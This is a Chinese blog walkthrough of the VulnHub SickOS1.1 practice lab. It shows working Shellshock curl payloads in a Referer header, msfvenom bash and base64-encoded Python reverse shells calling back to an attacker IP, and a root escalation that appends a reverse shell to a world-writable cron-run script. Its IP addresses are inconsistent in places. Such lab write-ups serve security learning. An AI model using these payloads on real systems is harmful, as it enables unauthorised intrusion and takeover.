红队笔记4-SickOS1.1打靶流程解法2-nikto漏扫 shellshock漏洞利用(vulnhub)

目录

 

开头:

1.主机发现&端口扫描

2.3128端口-squid代理访&nikto漏扫 

利用Shellshock

3.提权-定时任务执行py文件

4.总结


 

开头:

学习的视频是哔哩哔哩红队笔记:

「红队笔记」靶机精讲:SickOS1.1 - Shellshock原理和利用过程精讲_哔哩哔哩_bilibili

打靶时参考文章和本文借鉴文章:

红队打靶:SickOS1.1详细打靶思路之shellshock漏洞利用(vulnhub)-CSDN博客

靶机下载链接见:

https://download.vulnhub.com/sickos/sick0s1.1.7z

1.主机发现&端口扫描

参考上一篇:

红队笔记3-SickOS1.1打靶流程解法1(vulnhub)-CSDN博客

2.3128端口-squid代理访&nikto漏扫 

​
dirb http://192.168.254.143/ -p http://192.168.254.143:3128/

​

我们以http://192.168.254.143:3128/这个为代理,访问http://192.168.254.143/网站,

发现了一些路径,我们可以尝试访问一下,重点访问状态码是200的(访问也要在浏览器中挂代理)

其中cgi-bin目录是一个很特殊的目录

CGI-BIN是一种特殊的目录,在进行交互式的WWW访问时,web和第三方交互的接口, CGI全称是“公共网关接口,存在有一定数量的漏洞,所有当看到这目录,可以使用nikto对目录进行扫描

nikto是一个用于网页服务器漏洞扫描的工具,是kali中自带的,因为要对其web进行扫描,所以也需要使用参数代理

nikto –h 192.168.254.143 –useproxy http://192.168.254.143:3128

扫描结果:

OSVDB-112004:/cgi-bin/status:站点似乎容易受到“shellshock”漏洞的攻击 (CVE -CVE-2014-6271

Shellshock不知道是什么我们可以上网查一下:

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞

欧克,bash窗口的名字还要简介中的执行任意代码,都看出这是一个危害很大的漏洞,可以让我们拿到权限

利用Shellshock

Shellshock的利用点是访问/cgi-bin/status,修改请求头,在请求头中添加执行代码,使用curl去访问

curl -v --proxy http://192.168.254.143:3128 http://192.168. 254.143/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
  • curl: Curl是一个命令行工具,用于发送HTTP请求和获取相应的数据。
  • -v: 这个选项表示在执行请求时显示详细的输出,包括请求头和响应信息。
  • --proxy http://192.168.200.141:3128: 这个选项指定了使用代理服务器进行请求。代理服务器的地址是192.168.200.141,端口是3128。这是为了通过代理服务器发起请求,可能是为了绕过某些防火墙或进行中间人攻击。
  • http://192.168.200.141/cgi-bin/status: 这是要请求的URL地址。192.168.200.141是目标服务器的IP地址,/cgi-bin/status是目标服务器上的一个CGI脚本路径。
  • -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit": 这个选项指定了一个自定义的请求头"Referer"。Shellshock漏洞可以通过构造恶意的Referer头来执行任意命令。在这个例子中,构造的Referer头包含了一段Shellshock的Payload,以执行/usr/bin/id命令并打印当前用户的身份信息。

其实就是用http://192.168.254.143:3128代理访问http://192.168. 254.143/cgi-bin/status 数据包的请求头中的Referer  改写成这样Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

就是执行id命令

看看是否能执行一个id命令,测试漏洞是否存在

 执行成功,表示存在漏洞

既然能执行命令,那么构造一个有反弹shell功能的payload

使用msfvenom生成,Kali中的msfvenom取代了msfpayload和msfencode,常用于生成后门木马。生成bash反弹shell命令的如下:

sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.254.128 lport=443 -f raw

0<&168-;exec 168<>/dev/tcp/192.168.254.128/443;sh <&168 >&168 2>&168

构造payload:

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;/bin/bash <&120 >&120 2>&120"

显示不存在sh文件夹,那我们就一个吧sh补充完整  /bin/bash

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;/bin/bash <&120 >&120 2>&120"

Ok,显而易见反弹shell成功了,但是也显而易见的是,我们拿到了一个连完好的上下文交互都没有的shell,看看我们能不能得到一个交互性更好的shell

因为该主机是ubuntu 所以我们使用  dpkg -l 查看安装了哪些应用

这将显示系统中所有已安装软件包的列表,包括软件包的名称、版本和描述等信息。

很好我们看见了python

python -c 'import pty; pty.spawn("/bin/bash")'

尝试使用命令,获得更好的上下文交互shell

成功了,可以看到我们也是www-data用户

3.提权-定时任务执行py文件

可以看到我们能来到方法1的目录,我们依然能用方法1的方式提权,但是别忘了。我们还要一个条件没有利用,就是我们之前发现py文件

我们尝试找一下定时任务

cd /etc下这些文件都有可能是定时任务

一来就发现端倪了

每分钟执行以root权限 用python去执行/var/www/connect.py文件

Connect.py同时查看这个connect.py文件的权限,发现竟然是777权限

因为是python文件使用我们需要一个python的反弹shell脚本

sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.254.143 lpost=444 -f raw

exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))

把反弹shell命令追加到connect.py文件

echo "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))" >>connect.py

 等待1min,就获得root权限了,打靶完成

4.总结

1.端口扫描:发现存活端口:22 ,3128(squid-http) ,8080,其中squid-http是个代理服务器

2.开始访问3128,8080都访问不到,目录扫描也扫描不出结果,根据我们知道squid是个代理服务器,尝试Dirb -p参数,挂代理目录爆破,成功扫出来一些路径。其中cgi-bin目录可能存在漏洞,使用nikto漏扫工具,发现shellshock漏洞

3.漏洞利用:用msfvenom生成反弹shell的payload,成功获得初始立足点www-data的shell

4.根据py文件的提示,我们找到定时任务,成功发现/etc/cron.d/automate中发现会以root权限每分钟运行connect.py。因此构造在connect.py中追加我们的反弹shell命令,即可获取root的shell。

 通过靶场我学习到了:

1.cgi-bin目录是web和第三方交互的接口 是的特别存在,存在漏洞

2.nikto漏扫工具和curl命令对请求头的修改

3.msfvenom工具的使用,生成反弹shell

此方法的打靶思路更加清晰,渗透过程也减少了一些偶然运气成分。

  • 13
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值